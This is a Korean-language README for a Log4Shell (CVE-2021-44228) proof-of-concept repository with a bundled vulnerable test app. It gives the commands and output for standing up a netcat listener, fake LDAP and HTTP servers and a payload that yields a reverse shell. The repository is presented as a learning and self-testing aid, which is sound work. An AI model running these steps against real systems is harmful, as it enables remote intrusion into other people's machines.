
CVE-2021-44228(Log4Shell)에 대한 개념 증명 익스플로잇으로, LDAP 및 HTTP 서버를 자동화하여 취약한 Java 애플리케이션에 리버스 셸 페이로드를 전달합니다.
최근 발견된 CVE-2021-44228 취약점에 대한 개념 증명입니다.
최근 log4j에서 새로운 취약점이 발견되었습니다. log4j는 elasticsearch, minecraft 및 기타 여러 곳에서 매우 널리 사용되는 Java 로깅 라이브러리입니다.
이 저장소에는 취약한 예제 애플리케이션과 이에 대한 개념 증명(POC) 익스플로잇이 포함되어 있습니다.
PoC로 프로세스를 자동화하는 Python 파일이 있습니다.
pip install -r requirements.txt
nc -lvnp 9001
jdk1.8.0_20이어야 하며, 같은 디렉터리에 있어야 합니다.$ python3 poc.py --userip localhost --webport 8000 --lport 9001
[!] CVE: CVE-2021-44228
[+] Exploit java class created success
[+] Setting up fake LDAP server
Listening on 0.0.0.0:1389
이 스크립트는 HTTP 서버와 LDAP 서버를 자동으로 설정하고, 취약한 매개변수에 붙여넣을 수 있는 페이로드도 생성합니다. 이후 모든 것이 정상적으로 진행되었다면 lport에서 셸을 얻을 수 있습니다.
취약한 웹 애플리케이션이 포함된 Dockerfile이 있습니다. 아래 단계에 따라 사용할 수 있습니다:
1: docker build -t log4j-shell-poc .
2: docker run --network host log4j-shell-poc
실행되면 localhost:8080에서 접근할 수 있습니다.
Oracle은 다행히도 이전의 모든 Java 버전용 아카이브를 제공합니다:
https://www.oracle.com/java/technologies/javase/javase8-archive-downloads.html.
아래로 스크롤하여 8u20으로 이동한 후, 운영 체제와 하드웨어에 맞는 파일을 다운로드하세요.

참고: 패키지를 다운로드하려면 계정을 만들어야 합니다.
아카이브를 다운로드하여 압축을 푼 후, jdk1.8.0_20/bin에서 java 및 몇 가지 관련 바이너리를 찾을 수 있습니다.
참고: 제대로 작동하려면 jdk 폴더를 이 저장소에 같은 이름으로 압축 해제해야 합니다.
❯ tar -xf jdk-8u20-linux-x64.tar.gz
❯ ./jdk1.8.0_20/bin/java -version
java version "1.8.0_20"
Java(TM) SE Runtime Environment (build 1.8.0_20-b26)
Java HotSpot(TM) 64-Bit Server VM (build 25.20-b23, mixed mode)
이 저장소는 CVE-2021-44228에 대한 원클릭 익스플로잇을 제공하기 위한 것이 아닙니다. 이 프로젝트의 목적은 사람들이 이 취약점에 대해 배우고, 자신의 애플리케이션을 테스트할 수 있도록 돕는 것입니다 (단, 이 목적에는 더 나은 애플리케이션이 있습니다, 예: https://log4shell.tools/).